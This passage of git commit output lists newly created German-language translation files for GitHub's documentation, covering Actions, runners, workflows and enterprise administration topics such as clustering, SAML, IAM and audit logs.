 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md
 create mode 100644 translations/de-DE/content/actions/index.md
 create mode 100644 translations/de-DE/content/actions/learn-github-actions/contexts.md
 create mode 100644 translations/de-DE/content/actions/learn-github-actions/environment-variables.md
 create mode 100644 translations/de-DE/content/actions/learn-github-actions/essential-features-of-github-actions.md
 create mode 100644 translations/de-DE/content/actions/learn-github-actions/expressions.md
 create mode 100644 translations/de-DE/content/actions/learn-github-actions/finding-and-customizing-actions.md
 create mode 100644 translations/de-DE/content/actions/learn-github-actions/index.md
 create mode 100644 translations/de-DE/content/actions/learn-github-actions/understanding-github-actions.md
 create mode 100644 translations/de-DE/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
 create mode 100644 translations/de-DE/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
 create mode 100644 translations/de-DE/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
 create mode 100644 translations/de-DE/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
 create mode 100644 translations/de-DE/content/actions/managing-issues-and-pull-requests/index.md
 create mode 100644 translations/de-DE/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
 create mode 100644 translations/de-DE/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
 create mode 100644 translations/de-DE/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
 create mode 100644 translations/de-DE/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/canceling-a-workflow.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/index.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/manually-running-a-workflow.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/reviewing-deployments.md
 create mode 100644 translations/de-DE/content/actions/managing-workflow-runs/skipping-workflow-runs.md
 create mode 100644 translations/de-DE/content/actions/migrating-to-github-actions/index.md
 create mode 100644 translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
 create mode 100644 translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
 create mode 100644 translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
 create mode 100644 translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
 create mode 100644 translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/index.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
 create mode 100644 translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
 create mode 100644 translations/de-DE/content/actions/publishing-packages/about-packaging-with-github-actions.md
 create mode 100644 translations/de-DE/content/actions/publishing-packages/index.md
 create mode 100644 translations/de-DE/content/actions/publishing-packages/publishing-docker-images.md
 create mode 100644 translations/de-DE/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
 create mode 100644 translations/de-DE/content/actions/publishing-packages/publishing-java-packages-with-maven.md
 create mode 100644 translations/de-DE/content/actions/publishing-packages/publishing-nodejs-packages.md
 create mode 100644 translations/de-DE/content/actions/quickstart.md
 create mode 100644 translations/de-DE/content/actions/security-guides/automatic-token-authentication.md
 create mode 100644 translations/de-DE/content/actions/security-guides/encrypted-secrets.md
 create mode 100644 translations/de-DE/content/actions/security-guides/index.md
 create mode 100644 translations/de-DE/content/actions/security-guides/security-hardening-for-github-actions.md
 create mode 100644 translations/de-DE/content/actions/using-containerized-services/about-service-containers.md
 create mode 100644 translations/de-DE/content/actions/using-containerized-services/creating-postgresql-service-containers.md
 create mode 100644 translations/de-DE/content/actions/using-containerized-services/creating-redis-service-containers.md
 create mode 100644 translations/de-DE/content/actions/using-containerized-services/index.md
 create mode 100644 translations/de-DE/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
 create mode 100644 translations/de-DE/content/actions/using-github-hosted-runners/connecting-to-a-private-network.md
 create mode 100644 translations/de-DE/content/actions/using-github-hosted-runners/controlling-access-to-larger-runners.md
 create mode 100644 translations/de-DE/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
 create mode 100644 translations/de-DE/content/actions/using-github-hosted-runners/index.md
 create mode 100644 translations/de-DE/content/actions/using-github-hosted-runners/monitoring-your-current-jobs.md
 create mode 100644 translations/de-DE/content/actions/using-github-hosted-runners/using-larger-runners.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/assigning-permissions-to-jobs.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/choosing-the-runner-for-a-job.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/defining-outputs-for-jobs.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/index.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/running-jobs-in-a-container.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/setting-default-values-for-jobs.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/using-a-matrix-for-your-jobs.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/using-concurrency.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/using-conditions-to-control-job-execution.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/using-environments-for-jobs.md
 create mode 100644 translations/de-DE/content/actions/using-jobs/using-jobs-in-a-workflow.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/about-workflows.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/events-that-trigger-workflows.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/index.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/reusing-workflows.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/storing-workflow-data-as-artifacts.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/triggering-a-workflow.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/using-github-cli-in-workflows.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/using-starter-workflows.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/workflow-commands-for-github-actions.md
 create mode 100644 translations/de-DE/content/actions/using-workflows/workflow-syntax-for-github-actions.md
 create mode 100644 translations/de-DE/content/admin/all-releases.md
 create mode 100644 translations/de-DE/content/admin/code-security/index.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-github-connect/about-github-connect.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-github-connect/index.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-github-connect/managing-github-connect.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-tls.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/index.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/network-ports.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/about-enterprise-configuration.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-applications.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/deploying-github-ae.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md
 create mode 100644 translations/de-DE/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/configuration/index.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/caching-repositories/about-repository-caching.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/caching-repositories/index.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/about-cluster-nodes.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/about-clustering.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/evacuating-a-cluster-node.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/index.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/replacing-a-cluster-node.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-clustering/upgrading-a-cluster.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-high-availability/index.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-high-availability/recovering-a-high-availability-configuration.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/configuring-high-availability/removing-a-high-availability-replica.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/index.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/about-system-logs.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/index.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
 create mode 100644 translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
 create mode 100644 translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
 create mode 100644 translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md
 create mode 100644 translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md
 create mode 100644 translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md
 create mode 100644 translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md
 create mode 100644 translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md
 create mode 100644 translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md
 create mode 100644 translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md
 create mode 100644 translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md
 create mode 100644 translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md
 create mode 100644 translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
 create mode 100644 translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
 create mode 100644 translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
 create mode 100644 translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
 create mode 100644 translations/de-DE/content/admin/github-actions/index.md
 create mode 100644 translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md
 create mode 100644 translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
 create mode 100644 translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md
 create mode 100644 translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
 create mode 100644 translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md
 create mode 100644 translations/de-DE/content/admin/github-actions/using-github-actions-in-github-ae/index.md
 create mode 100644 translations/de-DE/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
 create mode 100644 translations/de-DE/content/admin/guides.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/index.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/index.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/index.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md
 create mode 100644 translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md
 create mode 100644 translations/de-DE/content/admin/index.md
 create mode 100644 translations/de-DE/content/admin/installation/index.md
 create mode 100644 translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
 create mode 100644 translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
 create mode 100644 translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
 create mode 100644 translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
 create mode 100644 translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
 create mode 100644 translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
 create mode 100644 translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
 create mode 100644 translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/index.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md
